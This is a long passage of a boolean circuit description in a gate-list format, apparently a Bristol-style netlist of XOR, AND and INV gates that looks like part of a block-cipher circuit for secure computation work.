11919 11911 11962 XOR +2 1 11967 11920 11914 XOR +2 1 11899 11920 11873 XOR +2 1 11873 11898 11963 XOR +2 1 11904 11924 11872 XOR +2 1 994 11872 11916 XOR +2 1 11970 11914 11869 XOR +2 1 998 11869 11957 XOR +2 1 11965 11964 11961 AND +2 1 11961 11916 11956 XOR +2 1 11961 11963 11960 XOR +2 1 11962 11960 11959 AND +2 1 11959 11916 11958 XOR +2 1 11959 11971 11864 XOR +2 1 11864 11900 11860 XOR +2 1 992 11860 11863 XOR +2 1 11959 11910 11861 XOR +2 1 994 11860 11859 XOR +2 1 11956 11957 11955 AND +2 1 11955 11963 11954 XOR +2 1 11961 11955 11953 XOR +2 1 11955 11914 11868 XOR +2 1 11955 11972 11867 XOR +2 1 11867 11969 11862 XOR +2 1 11862 11863 11946 XOR +2 1 11963 11953 11952 AND +2 1 11952 11960 11950 XOR +2 1 11952 11970 11923 XOR +2 1 11923 11917 11944 XOR +2 1 998 11923 11905 XOR +2 1 11905 11868 11951 XOR +2 1 11958 11950 11949 AND +2 1 11949 11919 11909 XOR +2 1 11909 11911 11948 XOR +2 1 11949 11973 11866 XOR +2 1 11905 11866 11858 XOR +2 1 11895 11858 11865 XOR +2 1 11862 11865 11947 XOR +2 1 11909 11861 11945 XOR +2 1 11858 11859 11943 XOR +2 1 11944 11981 11942 AND +2 1 11951 11980 11941 AND +2 1 11954 999 11940 AND +2 1 11940 11942 11922 XOR +2 1 11945 11975 11939 AND +2 1 11948 11987 11938 AND +2 1 11938 11939 11907 XOR +2 1 11958 11977 11937 AND +2 1 11937 11938 11875 XOR +2 1 11946 11978 11936 AND +2 1 11943 11976 11935 AND +2 1 11935 11907 11915 XOR +2 1 11935 11938 11890 XOR +1 1 11890 11887 INV +2 1 11935 11936 11886 XOR +2 1 11936 11915 11874 XOR +2 1 11947 11979 11934 AND +2 1 11944 11985 11933 AND +2 1 11951 11982 11932 AND +2 1 11954 11986 11931 AND +2 1 11931 11915 11880 XOR +1 1 11880 11877 INV +2 1 11945 11990 11930 AND +2 1 11930 11934 11906 XOR +2 1 11939 11930 11891 XOR +1 1 11906 11884 INV +2 1 11948 11983 11929 AND +2 1 11937 11929 11893 XOR +2 1 11958 11984 11928 AND +2 1 11884 11928 11883 XOR +2 1 11883 11922 11879 XOR +2 1 11946 11989 11927 AND +2 1 11927 11879 11882 XOR +2 1 11943 11991 11926 AND +2 1 11926 11927 11921 XOR +2 1 11932 11921 11902 XOR +2 1 11933 11902 11903 XOR +2 1 11941 11903 11908 XOR +2 1 11942 11908 11913 XOR +2 1 11907 11913 36571 XOR +2 1 11893 11921 11889 XOR +2 1 11922 11889 11892 XOR +2 1 11891 11892 11995 XOR +2 1 11884 11889 11888 XOR +2 1 11887 11888 11994 XOR +2 1 11913 11886 11993 XOR +2 1 11902 11879 11878 XOR +2 1 11877 11878 36569 XOR +2 1 11940 11908 11876 XOR +2 1 11875 11876 36570 XOR +2 1 11903 11874 36574 XOR +2 1 11947 11988 11925 AND +2 1 11936 11925 11885 XOR +1 1 11885 11881 INV +2 1 11881 11882 11992 XOR +1 1 11995 36567 INV +1 1 11994 36568 INV +1 1 11993 36573 INV +1 1 11992 36572 INV +2 1 36570 924 796 XOR +2 1 36572 922 794 XOR +2 1 36567 927 799 XOR +2 1 956 796 828 XOR +2 1 988 828 860 XOR +2 1 1020 860 892 XOR +2 1 959 799 831 XOR +2 1 991 831 863 XOR +2 1 36573 921 793 XOR +2 1 953 793 825 XOR +2 1 985 825 857 XOR +2 1 1023 863 895 XOR +2 1 1017 857 889 XOR +2 1 36568 926 798 XOR +2 1 958 798 830 XOR +2 1 990 830 862 XOR +2 1 1022 862 894 XOR +2 1 954 794 826 XOR +2 1 986 826 858 XOR +2 1 1018 858 890 XOR +2 1 894 892 21501 XOR +2 1 895 889 21508 XOR +2 1 890 21508 21593 XOR +2 1 894 21593 21589 XOR +2 1 21593 21589 21576 AND +2 1 24748 24749 32724 XOR +2 1 24745 32724 24725 XOR +2 1 24746 24725 24685 XOR +2 1 24714 24685 36510 XOR +2 1 24741 24725 24691 XOR +1 1 24691 24688 INV +2 1 24688 24689 36505 XOR +2 1 32724 24723 36507 XOR +2 1 24887 24888 32725 XOR +2 1 32725 24862 36475 XOR +2 1 36475 100 411 XOR +2 1 68 411 443 XOR +2 1 36 443 475 XOR +2 1 34698 475 33418 XOR +2 1 4 475 507 XOR +2 1 507 505 13157 XOR +2 1 34666 507 33386 XOR +2 1 13157 506 13116 XOR +2 1 511 13116 13246 XOR +2 1 13246 511 13232 AND +2 1 36507 411 283 XOR +2 1 36539 283 923 XOR +2 1 443 283 315 XOR +2 1 475 315 347 XOR +2 1 507 347 379 XOR +2 1 315 923 955 XOR +2 1 379 377 13017 XOR +2 1 13017 378 12976 XOR +2 1 383 12976 13106 XOR +2 1 13106 383 13092 AND +2 1 347 955 987 XOR +2 1 379 987 1019 XOR +2 1 36571 923 795 XOR +2 1 955 795 827 XOR +2 1 987 827 859 XOR +2 1 1019 859 891 XOR +2 1 1019 1017 19002 XOR +2 1 19002 1018 18961 XOR +2 1 1023 18961 19090 XOR +2 1 19090 1023 19076 AND +2 1 891 889 21504 XOR +2 1 21504 890 21463 XOR +2 1 895 21463 21592 XOR +2 1 21592 895 21578 AND +2 1 24884 32725 24864 XOR +2 1 24880 24864 24830 XOR +1 1 24830 24827 INV +2 1 24827 24828 36473 XOR +2 1 36473 98 413 XOR +2 1 66 413 445 XOR +2 1 34 445 477 XOR +2 1 2 477 509 XOR +2 1 36505 413 285 XOR +2 1 445 285 317 XOR +2 1 477 317 349 XOR +2 1 509 349 381 XOR +2 1 36537 285 925 XOR +2 1 317 925 957 XOR +2 1 349 957 989 XOR +2 1 381 989 1021 XOR +2 1 381 13014 13016 XOR +2 1 377 13016 13098 XOR +2 1 378 13016 13095 XOR +2 1 13021 13016 13097 XOR +2 1 382 381 13032 XOR +2 1 381 379 13111 XOR +2 1 380 381 12991 XOR +2 1 509 13154 13156 XOR +2 1 505 13156 13238 XOR +2 1 506 13156 13235 XOR +2 1 13161 13156 13237 XOR +2 1 510 509 13172 XOR +2 1 509 507 13251 XOR +2 1 508 509 13131 XOR +2 1 36569 925 797 XOR +2 1 957 797 829 XOR +2 1 989 829 861 XOR +2 1 1021 861 893 XOR +2 1 1021 18999 19001 XOR +2 1 1017 19001 19082 XOR +2 1 1018 19001 19079 XOR +2 1 19006 19001 19081 XOR +2 1 1022 1021 19016 XOR +2 1 1021 1019 19095 XOR +2 1 1020 1021 18976 XOR +2 1 893 21501 21503 XOR +2 1 889 21503 21584 XOR +2 1 890 21503 21581 XOR +2 1 21508 21503 21583 XOR +2 1 894 893 21518 XOR +2 1 893 891 21597 XOR +2 1 892 893 21478 XOR +2 1 24885 24864 24824 XOR +2 1 24853 24824 36478 XOR +2 1 36478 103 408 XOR +2 1 36510 408 280 XOR +2 1 71 408 440 XOR +2 1 39 440 472 XOR +2 1 7 472 504 XOR +2 1 440 280 312 XOR +2 1 472 312 344 XOR +2 1 504 344 376 XOR +2 1 36542 280 920 XOR +2 1 312 920 952 XOR +2 1 378 376 13015 XOR +2 1 13015 13111 13096 XOR +2 1 379 376 13109 XOR +2 1 13109 13032 13105 XOR +2 1 13015 13021 13104 XOR +2 1 13032 13104 13102 XOR +2 1 13014 13109 13101 XOR +2 1 383 13101 13100 XOR +2 1 13017 13015 12977 XOR +2 1 13014 12977 13099 XOR +2 1 376 382 13110 XOR +2 1 376 381 13108 XOR +2 1 13101 13105 13094 AND +2 1 13094 13017 13020 XOR +2 1 13102 13100 13093 AND +2 1 13110 13095 13091 AND +2 1 13091 13015 13019 XOR +2 1 13104 13097 13089 AND +2 1 13109 13098 13088 AND +2 1 13088 13016 13018 XOR +2 1 13020 13018 13024 XOR +2 1 376 13024 13030 XOR +2 1 13111 13096 13087 AND +2 1 13087 13093 13039 XOR +2 1 13039 13030 13085 XOR +2 1 13087 13088 12990 XOR +2 1 12990 12991 13038 XOR +2 1 13038 13019 13037 XOR +2 1 13090 13037 13084 XOR +2 1 13108 13099 13086 AND +2 1 13086 13089 13040 XOR +2 1 13086 13092 13044 XOR +2 1 13044 13015 13031 XOR +2 1 13039 13031 13082 XOR +2 1 13087 13040 13034 XOR +2 1 13019 13040 12993 XOR +2 1 12993 13018 13083 XOR +2 1 13024 13044 12992 XOR +2 1 378 12992 13036 XOR +2 1 13090 13034 12989 XOR +2 1 382 12989 13077 XOR +2 1 13085 13084 13081 AND +2 1 13081 13036 13076 XOR +2 1 13081 13083 13080 XOR +2 1 13082 13080 13079 AND +2 1 13079 13036 13078 XOR +2 1 13079 13091 12984 XOR +2 1 12984 13020 12980 XOR +2 1 376 12980 12983 XOR +2 1 13079 13030 12981 XOR +2 1 378 12980 12979 XOR +2 1 13076 13077 13075 AND +2 1 13075 13083 13074 XOR +2 1 13081 13075 13073 XOR +2 1 13075 13034 12988 XOR +2 1 13075 13092 12987 XOR +2 1 12987 13089 12982 XOR +2 1 12982 12983 13066 XOR +2 1 13083 13073 13072 AND +2 1 13072 13080 13070 XOR +2 1 13072 13090 13043 XOR +2 1 13043 13037 13064 XOR +2 1 382 13043 13025 XOR +2 1 13025 12988 13071 XOR +2 1 13078 13070 13069 AND +2 1 13069 13039 13029 XOR +2 1 13029 13031 13068 XOR +2 1 13069 13093 12986 XOR +2 1 13025 12986 12978 XOR +2 1 13015 12978 12985 XOR +2 1 12982 12985 13067 XOR +2 1 13029 12981 13065 XOR +2 1 12978 12979 13063 XOR +2 1 13064 13101 13062 AND +2 1 13071 13100 13061 AND +2 1 13074 383 13060 AND +2 1 13060 13062 13042 XOR +2 1 13065 13095 13059 AND +2 1 13068 13107 13058 AND +2 1 13058 13059 13027 XOR +2 1 13078 13097 13057 AND +2 1 13057 13058 12995 XOR +2 1 13066 13098 13056 AND +2 1 13063 13096 13055 AND +2 1 13055 13027 13035 XOR +2 1 13055 13058 13010 XOR +1 1 13010 13007 INV +2 1 13055 13056 13006 XOR +2 1 13056 13035 12994 XOR +2 1 13067 13099 13054 AND +2 1 13064 13105 13053 AND +2 1 13071 13102 13052 AND +2 1 13074 13106 13051 AND +2 1 13051 13035 13000 XOR +1 1 13000 12997 INV +2 1 13065 13110 13050 AND +2 1 13050 13054 13026 XOR +2 1 13059 13050 13011 XOR +1 1 13026 13004 INV +2 1 13068 13103 13049 AND +2 1 13057 13049 13013 XOR +2 1 13078 13104 13048 AND +2 1 13004 13048 13003 XOR +2 1 13003 13042 12999 XOR +2 1 13066 13109 13047 AND +2 1 13047 12999 13002 XOR +2 1 13063 13111 13046 AND +2 1 13046 13047 13041 XOR +2 1 13052 13041 13022 XOR +2 1 13053 13022 13023 XOR +2 1 13061 13023 13028 XOR +2 1 13062 13028 13033 XOR +2 1 13027 13033 36547 XOR +2 1 13013 13041 13009 XOR +2 1 13042 13009 13012 XOR +2 1 13011 13012 13115 XOR +2 1 13004 13009 13008 XOR +2 1 13007 13008 13114 XOR +2 1 13033 13006 13113 XOR +2 1 13022 12999 12998 XOR +2 1 12997 12998 36545 XOR +2 1 13060 13028 12996 XOR +2 1 12995 12996 36546 XOR +2 1 13023 12994 36550 XOR +2 1 13067 13108 13045 AND +2 1 13056 13045 13005 XOR +1 1 13005 13001 INV +2 1 13001 13002 13112 XOR +1 1 13115 36543 INV +1 1 13114 36544 INV +1 1 13113 36549 INV +1 1 13112 36548 INV +2 1 506 504 13155 XOR +2 1 13155 13251 13236 XOR +2 1 507 504 13249 XOR +2 1 13249 13172 13245 XOR +2 1 13155 13161 13244 XOR +2 1 13172 13244 13242 XOR +2 1 13154 13249 13241 XOR +2 1 511 13241 13240 XOR +2 1 13157 13155 13117 XOR +2 1 13154 13117 13239 XOR +2 1 504 510 13250 XOR +2 1 504 509 13248 XOR +2 1 13241 13245 13234 AND +2 1 13234 13157 13160 XOR +2 1 13242 13240 13233 AND +2 1 13250 13235 13231 AND +2 1 13231 13155 13159 XOR +2 1 13244 13237 13229 AND +2 1 13249 13238 13228 AND +2 1 13228 13156 13158 XOR +2 1 13160 13158 13164 XOR +2 1 504 13164 13170 XOR +2 1 13251 13236 13227 AND +2 1 13227 13233 13179 XOR +2 1 13179 13170 13225 XOR +2 1 13227 13228 13130 XOR +2 1 13130 13131 13178 XOR +2 1 13178 13159 13177 XOR +2 1 13230 13177 13224 XOR +2 1 13248 13239 13226 AND +2 1 13226 13229 13180 XOR +2 1 13226 13232 13184 XOR +2 1 13184 13155 13171 XOR +2 1 13179 13171 13222 XOR +2 1 13227 13180 13174 XOR +2 1 13159 13180 13133 XOR +2 1 13133 13158 13223 XOR +2 1 13164 13184 13132 XOR +2 1 506 13132 13176 XOR +2 1 13230 13174 13129 XOR +2 1 510 13129 13217 XOR +2 1 13225 13224 13221 AND +2 1 13221 13176 13216 XOR +2 1 13221 13223 13220 XOR +2 1 13222 13220 13219 AND +2 1 13219 13176 13218 XOR +2 1 13219 13231 13124 XOR +2 1 13124 13160 13120 XOR +2 1 504 13120 13123 XOR +2 1 13219 13170 13121 XOR +2 1 506 13120 13119 XOR +2 1 13216 13217 13215 AND +2 1 13215 13223 13214 XOR +2 1 13221 13215 13213 XOR +2 1 13215 13174 13128 XOR +2 1 13215 13232 13127 XOR +2 1 13127 13229 13122 XOR +2 1 13122 13123 13206 XOR +2 1 13223 13213 13212 AND +2 1 13212 13220 13210 XOR +2 1 13212 13230 13183 XOR +2 1 13183 13177 13204 XOR +2 1 510 13183 13165 XOR +2 1 13165 13128 13211 XOR +2 1 13218 13210 13209 AND +2 1 13209 13179 13169 XOR +2 1 13169 13171 13208 XOR +2 1 13209 13233 13126 XOR +2 1 13165 13126 13118 XOR +2 1 13155 13118 13125 XOR +2 1 13122 13125 13207 XOR +2 1 13169 13121 13205 XOR +2 1 13118 13119 13203 XOR +2 1 13204 13241 13202 AND +2 1 13211 13240 13201 AND +2 1 13214 511 13200 AND +2 1 13200 13202 13182 XOR +2 1 13205 13235 13199 AND +2 1 13208 13247 13198 AND +2 1 13198 13199 13167 XOR +2 1 13218 13237 13197 AND +2 1 13197 13198 13135 XOR +2 1 13206 13238 13196 AND +2 1 13203 13236 13195 AND +2 1 13195 13167 13175 XOR +2 1 13195 13198 13150 XOR +1 1 13150 13147 INV +2 1 13195 13196 13146 XOR +2 1 13196 13175 13134 XOR +2 1 13207 13239 13194 AND +2 1 13204 13245 13193 AND +2 1 13211 13242 13192 AND +2 1 13214 13246 13191 AND +2 1 13191 13175 13140 XOR +1 1 13140 13137 INV +2 1 13205 13250 13190 AND +2 1 13190 13194 13166 XOR +2 1 13199 13190 13151 XOR +1 1 13166 13144 INV +2 1 13208 13243 13189 AND +2 1 13197 13189 13153 XOR +2 1 13218 13244 13188 AND +2 1 13144 13188 13143 XOR +2 1 13143 13182 13139 XOR +2 1 13206 13249 13187 AND +2 1 13187 13139 13142 XOR +2 1 13203 13251 13186 AND +2 1 13186 13187 13181 XOR +2 1 13192 13181 13162 XOR +2 1 13193 13162 13163 XOR +2 1 13201 13163 13168 XOR +2 1 13202 13168 13173 XOR +2 1 13167 13173 36515 XOR +2 1 36515 403 275 XOR +2 1 435 275 307 XOR +2 1 467 307 339 XOR +2 1 499 339 371 XOR +2 1 36547 275 915 XOR +2 1 307 915 947 XOR +2 1 339 947 979 XOR +2 1 371 979 1011 XOR +2 1 13153 13181 13149 XOR +2 1 13182 13149 13152 XOR +2 1 13151 13152 13255 XOR +2 1 13144 13149 13148 XOR +2 1 13147 13148 13254 XOR +2 1 13173 13146 13253 XOR +2 1 13162 13139 13138 XOR +2 1 13137 13138 36513 XOR +2 1 36513 405 277 XOR +2 1 437 277 309 XOR +2 1 469 309 341 XOR +2 1 501 341 373 XOR +2 1 36545 277 917 XOR +2 1 309 917 949 XOR +2 1 341 949 981 XOR +2 1 373 981 1013 XOR +2 1 13200 13168 13136 XOR +2 1 13135 13136 36514 XOR +2 1 36514 404 276 XOR +2 1 436 276 308 XOR +2 1 468 308 340 XOR +2 1 500 340 372 XOR +2 1 36546 276 916 XOR +2 1 308 916 948 XOR +2 1 13163 13134 36518 XOR +2 1 36518 400 272 XOR +2 1 432 272 304 XOR +2 1 464 304 336 XOR +2 1 496 336 368 XOR +2 1 36550 272 912 XOR +2 1 304 912 944 XOR +2 1 13207 13248 13185 AND +2 1 13196 13185 13145 XOR +1 1 13145 13141 INV +2 1 13141 13142 13252 XOR +1 1 13255 36511 INV +2 1 36511 407 279 XOR +2 1 439 279 311 XOR +2 1 471 311 343 XOR +2 1 503 343 375 XOR +2 1 36543 279 919 XOR +2 1 311 919 951 XOR +1 1 13254 36512 INV +2 1 36512 406 278 XOR +2 1 438 278 310 XOR +2 1 470 310 342 XOR +2 1 502 342 374 XOR +2 1 36544 278 918 XOR +2 1 310 918 950 XOR +2 1 342 950 982 XOR +2 1 374 982 1014 XOR +1 1 13253 36517 INV +2 1 36517 401 273 XOR +2 1 36549 273 913 XOR +2 1 433 273 305 XOR +2 1 465 305 337 XOR +2 1 497 337 369 XOR +2 1 305 913 945 XOR +2 1 337 945 977 XOR +2 1 369 977 1009 XOR +1 1 13252 36516 INV +2 1 36516 402 274 XOR +2 1 434 274 306 XOR +2 1 36548 274 914 XOR +2 1 306 914 946 XOR +2 1 466 306 338 XOR +2 1 498 338 370 XOR +2 1 338 946 978 XOR +2 1 370 978 1010 XOR +2 1 336 944 976 XOR +2 1 368 976 1008 XOR +2 1 343 951 983 XOR +2 1 375 983 1015 XOR +2 1 340 948 980 XOR +2 1 372 980 1012 XOR +2 1 344 952 984 XOR +2 1 376 984 1016 XOR +2 1 36574 920 792 XOR +2 1 952 792 824 XOR +2 1 984 824 856 XOR +2 1 1016 856 888 XOR +2 1 1014 1012 15941 XOR +2 1 1010 1008 15942 XOR +2 1 1013 15941 15943 XOR +2 1 1009 15943 16024 XOR +2 1 1010 15943 16021 XOR +2 1 1011 1009 15944 XOR +2 1 1015 1009 15948 XOR +2 1 15948 15943 16023 XOR +2 1 1011 1008 16035 XOR +2 1 15942 15948 16030 XOR +2 1 15941 16035 16027 XOR +2 1 1015 16027 16026 XOR +2 1 1014 1013 15958 XOR +2 1 15958 16030 16028 XOR +2 1 16035 15958 16031 XOR +2 1 1013 1011 16037 XOR +2 1 15942 16037 16022 XOR +2 1 1010 15948 16033 XOR +2 1 1014 16033 16029 XOR +2 1 1012 1013 15918 XOR +2 1 15944 15942 15904 XOR +2 1 15941 15904 16025 XOR +2 1 15944 1010 15903 XOR +2 1 1015 15903 16032 XOR +2 1 1008 1014 16036 XOR +2 1 1008 1013 16034 XOR +2 1 16027 16031 16020 AND +2 1 16020 15944 15947 XOR +2 1 16028 16026 16019 AND +2 1 16032 1015 16018 AND +2 1 16036 16021 16017 AND +2 1 16017 15942 15946 XOR +2 1 16033 16029 16016 AND +2 1 16030 16023 16015 AND +2 1 16035 16024 16014 AND +2 1 16014 15943 15945 XOR +2 1 15947 15945 15951 XOR +2 1 1008 15951 15956 XOR +2 1 16037 16022 16013 AND +2 1 16013 16019 15965 XOR +2 1 15965 15956 16011 XOR +2 1 16013 16014 15917 XOR +2 1 15917 15918 15964 XOR +2 1 15964 15946 15963 XOR +2 1 16016 15963 16010 XOR +2 1 16034 16025 16012 AND +2 1 16012 16015 15966 XOR +2 1 16012 16018 15970 XOR +2 1 15970 15942 15957 XOR +2 1 15965 15957 16008 XOR +2 1 16013 15966 15960 XOR +2 1 15946 15966 15920 XOR +2 1 15920 15945 16009 XOR +2 1 15951 15970 15919 XOR +2 1 1010 15919 15962 XOR +2 1 16016 15960 15916 XOR +2 1 1014 15916 16003 XOR +2 1 16011 16010 16007 AND +2 1 16007 15962 16002 XOR +2 1 16007 16009 16006 XOR +2 1 16008 16006 16005 AND +2 1 16005 15962 16004 XOR +2 1 16005 16017 15911 XOR +2 1 15911 15947 15907 XOR +2 1 1008 15907 15910 XOR +2 1 16005 15956 15908 XOR +2 1 1010 15907 15906 XOR +2 1 16002 16003 16001 AND +2 1 16001 16009 16000 XOR +2 1 16007 16001 15999 XOR +2 1 16001 15960 15915 XOR +2 1 16001 16018 15914 XOR +2 1 15914 16015 15909 XOR +2 1 15909 15910 15992 XOR +2 1 16009 15999 15998 AND +2 1 15998 16006 15996 XOR +2 1 15998 16016 15969 XOR +2 1 15969 15963 15990 XOR +2 1 1014 15969 15952 XOR +2 1 15952 15915 15997 XOR +2 1 16004 15996 15995 AND +2 1 15995 15965 15955 XOR +2 1 15955 15957 15994 XOR +2 1 15995 16019 15913 XOR +2 1 15952 15913 15905 XOR +2 1 15942 15905 15912 XOR +2 1 15909 15912 15993 XOR +2 1 15955 15908 15991 XOR +2 1 15905 15906 15989 XOR +2 1 15990 16027 15988 AND +2 1 15997 16026 15987 AND +2 1 16000 1015 15986 AND +2 1 15986 15988 15968 XOR +2 1 15991 16021 15985 AND +2 1 15994 16033 15984 AND +2 1 16004 16023 15983 AND +2 1 15983 15984 15922 XOR +2 1 15992 16024 15982 AND +2 1 15989 16022 15981 AND +2 1 15981 15984 15937 XOR +1 1 15937 15934 INV +2 1 15981 15982 15933 XOR +2 1 15993 16025 15980 AND +2 1 15990 16031 15979 AND +2 1 15997 16028 15978 AND +2 1 16000 16032 15977 AND +2 1 15991 16036 15976 AND +2 1 15976 15980 15953 XOR +2 1 15985 15976 15938 XOR +1 1 15953 15931 INV +2 1 15994 16029 15975 AND +2 1 15983 15975 15940 XOR +2 1 16004 16030 15974 AND +2 1 15931 15974 15930 XOR +2 1 15930 15968 15926 XOR +2 1 15992 16035 15973 AND +2 1 15973 15926 15929 XOR +2 1 15989 16037 15972 AND +2 1 15972 15973 15967 XOR +2 1 15978 15967 15949 XOR +2 1 15979 15949 15950 XOR +2 1 15987 15950 15954 XOR +2 1 15988 15954 15959 XOR +2 1 15940 15967 15936 XOR +2 1 15968 15936 15939 XOR +2 1 15938 15939 16041 XOR +2 1 15931 15936 15935 XOR +2 1 15934 15935 16040 XOR +2 1 15959 15933 16039 XOR +2 1 15949 15926 15925 XOR +2 1 15986 15954 15923 XOR +2 1 15922 15923 36586 XOR +2 1 15993 16034 15971 AND +2 1 15982 15971 15932 XOR +1 1 15932 15928 INV +2 1 15928 15929 16038 XOR +1 1 16041 36583 INV +1 1 16040 36584 INV +1 1 16039 36589 INV +1 1 16038 36588 INV +2 1 374 372 16080 XOR +2 1 370 368 16081 XOR +2 1 373 16080 16082 XOR +2 1 369 16082 16163 XOR +2 1 370 16082 16160 XOR +2 1 371 369 16083 XOR +2 1 375 369 16087 XOR +2 1 16087 16082 16162 XOR +2 1 371 368 16174 XOR +2 1 16081 16087 16169 XOR +2 1 16080 16174 16166 XOR +2 1 375 16166 16165 XOR +2 1 374 373 16097 XOR +2 1 16097 16169 16167 XOR +2 1 16174 16097 16170 XOR +2 1 373 371 16176 XOR +2 1 16081 16176 16161 XOR +2 1 370 16087 16172 XOR +2 1 374 16172 16168 XOR +2 1 372 373 16057 XOR +2 1 16083 16081 16043 XOR +2 1 16080 16043 16164 XOR +2 1 16083 370 16042 XOR +2 1 375 16042 16171 XOR +2 1 368 374 16175 XOR +2 1 368 373 16173 XOR +2 1 16166 16170 16159 AND +2 1 16159 16083 16086 XOR +2 1 16167 16165 16158 AND +2 1 16171 375 16157 AND +2 1 16175 16160 16156 AND +2 1 16156 16081 16085 XOR +2 1 16172 16168 16155 AND +2 1 16169 16162 16154 AND +2 1 16174 16163 16153 AND +2 1 16153 16082 16084 XOR +2 1 16086 16084 16090 XOR +2 1 368 16090 16095 XOR +2 1 16176 16161 16152 AND +2 1 16152 16158 16104 XOR +2 1 16104 16095 16150 XOR +2 1 16152 16153 16056 XOR +2 1 16056 16057 16103 XOR +2 1 16103 16085 16102 XOR +2 1 16155 16102 16149 XOR +2 1 16173 16164 16151 AND +2 1 16151 16154 16105 XOR +2 1 16151 16157 16109 XOR +2 1 16109 16081 16096 XOR +2 1 16104 16096 16147 XOR +2 1 16152 16105 16099 XOR +2 1 16085 16105 16059 XOR +2 1 16059 16084 16148 XOR +2 1 16090 16109 16058 XOR +2 1 370 16058 16101 XOR +2 1 16155 16099 16055 XOR +2 1 374 16055 16142 XOR +2 1 16150 16149 16146 AND +2 1 16146 16101 16141 XOR +2 1 16146 16148 16145 XOR +2 1 16147 16145 16144 AND +2 1 16144 16101 16143 XOR +2 1 16144 16156 16050 XOR +2 1 16050 16086 16046 XOR +2 1 368 16046 16049 XOR +2 1 16144 16095 16047 XOR +2 1 370 16046 16045 XOR +2 1 16141 16142 16140 AND +2 1 16140 16148 16139 XOR +2 1 16146 16140 16138 XOR +2 1 16140 16099 16054 XOR +2 1 16140 16157 16053 XOR +2 1 16053 16154 16048 XOR +2 1 16048 16049 16131 XOR +2 1 16148 16138 16137 AND +2 1 16137 16145 16135 XOR +2 1 16137 16155 16108 XOR +2 1 16108 16102 16129 XOR +2 1 374 16108 16091 XOR +2 1 16091 16054 16136 XOR +2 1 16143 16135 16134 AND +2 1 16134 16104 16094 XOR +2 1 16094 16096 16133 XOR +2 1 16134 16158 16052 XOR +2 1 16091 16052 16044 XOR +2 1 16081 16044 16051 XOR +2 1 16048 16051 16132 XOR +2 1 16094 16047 16130 XOR +2 1 16044 16045 16128 XOR +2 1 16129 16166 16127 AND +2 1 16136 16165 16126 AND +2 1 16139 375 16125 AND +2 1 16125 16127 16107 XOR +2 1 16130 16160 16124 AND +2 1 16133 16172 16123 AND +2 1 16143 16162 16122 AND +2 1 16122 16123 16061 XOR +2 1 16131 16163 16121 AND +2 1 16128 16161 16120 AND +2 1 16120 16123 16076 XOR +1 1 16076 16073 INV +2 1 16120 16121 16072 XOR +2 1 16132 16164 16119 AND +2 1 16129 16170 16118 AND +2 1 16136 16167 16117 AND +2 1 16139 16171 16116 AND +2 1 16130 16175 16115 AND +2 1 16115 16119 16092 XOR +2 1 16124 16115 16077 XOR +1 1 16092 16070 INV +2 1 16133 16168 16114 AND +2 1 16122 16114 16079 XOR +2 1 16143 16169 16113 AND +2 1 16070 16113 16069 XOR +2 1 16069 16107 16065 XOR +2 1 16131 16174 16112 AND +2 1 16112 16065 16068 XOR +2 1 16128 16176 16111 AND +2 1 16111 16112 16106 XOR +2 1 16117 16106 16088 XOR +2 1 16118 16088 16089 XOR +2 1 16126 16089 16093 XOR +2 1 16127 16093 16098 XOR +2 1 16079 16106 16075 XOR +2 1 16107 16075 16078 XOR +2 1 16077 16078 16180 XOR +2 1 16070 16075 16074 XOR +2 1 16073 16074 16179 XOR +2 1 16098 16072 16178 XOR +2 1 16088 16065 16064 XOR +2 1 16125 16093 16062 XOR +2 1 16061 16062 36554 XOR +2 1 36554 268 908 XOR +2 1 300 908 940 XOR +2 1 332 940 972 XOR +2 1 364 972 1004 XOR +2 1 36586 908 780 XOR +2 1 940 780 812 XOR +2 1 972 812 844 XOR +2 1 1004 844 876 XOR +2 1 16132 16173 16110 AND +2 1 16121 16110 16071 XOR +1 1 16071 16067 INV +2 1 16067 16068 16177 XOR +1 1 16180 36551 INV +2 1 36551 271 911 XOR +2 1 303 911 943 XOR +2 1 335 943 975 XOR +2 1 367 975 1007 XOR +2 1 36583 911 783 XOR +2 1 943 783 815 XOR +2 1 975 815 847 XOR +2 1 1007 847 879 XOR +1 1 16179 36552 INV +2 1 36552 270 910 XOR +2 1 302 910 942 XOR +2 1 334 942 974 XOR +2 1 366 974 1006 XOR +2 1 36584 910 782 XOR +2 1 942 782 814 XOR +2 1 974 814 846 XOR +2 1 1006 846 878 XOR +2 1 878 876 12874 XOR +1 1 16178 36557 INV +2 1 36557 265 905 XOR +2 1 297 905 937 XOR +2 1 36589 905 777 XOR +2 1 329 937 969 XOR +2 1 361 969 1001 XOR +2 1 937 777 809 XOR +2 1 969 809 841 XOR +2 1 1001 841 873 XOR +2 1 879 873 12881 XOR +1 1 16177 36556 INV +2 1 36556 266 906 XOR +2 1 298 906 938 XOR +2 1 330 938 970 XOR +2 1 362 970 1002 XOR +2 1 36588 906 778 XOR +2 1 938 778 810 XOR +2 1 970 810 842 XOR +2 1 1002 842 874 XOR +2 1 874 12881 12967 XOR +2 1 878 12967 12963 XOR +2 1 12967 12963 12950 AND +2 1 1018 1016 19000 XOR +2 1 19000 19095 19080 XOR +2 1 1019 1016 19093 XOR +2 1 19093 19016 19089 XOR +2 1 19000 19006 19088 XOR +2 1 19016 19088 19086 XOR +2 1 18999 19093 19085 XOR +2 1 1023 19085 19084 XOR +2 1 19002 19000 18962 XOR +2 1 18999 18962 19083 XOR +2 1 1016 1022 19094 XOR +2 1 1016 1021 19092 XOR +2 1 19085 19089 19078 AND +2 1 19078 19002 19005 XOR +2 1 19086 19084 19077 AND +2 1 19094 19079 19075 AND +2 1 19075 19000 19004 XOR +2 1 19088 19081 19073 AND +2 1 19093 19082 19072 AND +2 1 19072 19001 19003 XOR +2 1 19005 19003 19009 XOR +2 1 1016 19009 19014 XOR +2 1 19095 19080 19071 AND +2 1 19071 19077 19023 XOR +2 1 19023 19014 19069 XOR +2 1 19071 19072 18975 XOR +2 1 18975 18976 19022 XOR +2 1 19022 19004 19021 XOR +2 1 19074 19021 19068 XOR +2 1 19092 19083 19070 AND +2 1 19070 19073 19024 XOR +2 1 19070 19076 19028 XOR +2 1 19028 19000 19015 XOR +2 1 19023 19015 19066 XOR +2 1 19071 19024 19018 XOR +2 1 19004 19024 18978 XOR +2 1 18978 19003 19067 XOR +2 1 19009 19028 18977 XOR +2 1 1018 18977 19020 XOR +2 1 19074 19018 18974 XOR +2 1 1022 18974 19061 XOR +2 1 19069 19068 19065 AND +2 1 19065 19020 19060 XOR +2 1 19065 19067 19064 XOR +2 1 19066 19064 19063 AND +2 1 19063 19020 19062 XOR +2 1 19063 19075 18969 XOR +2 1 18969 19005 18965 XOR +2 1 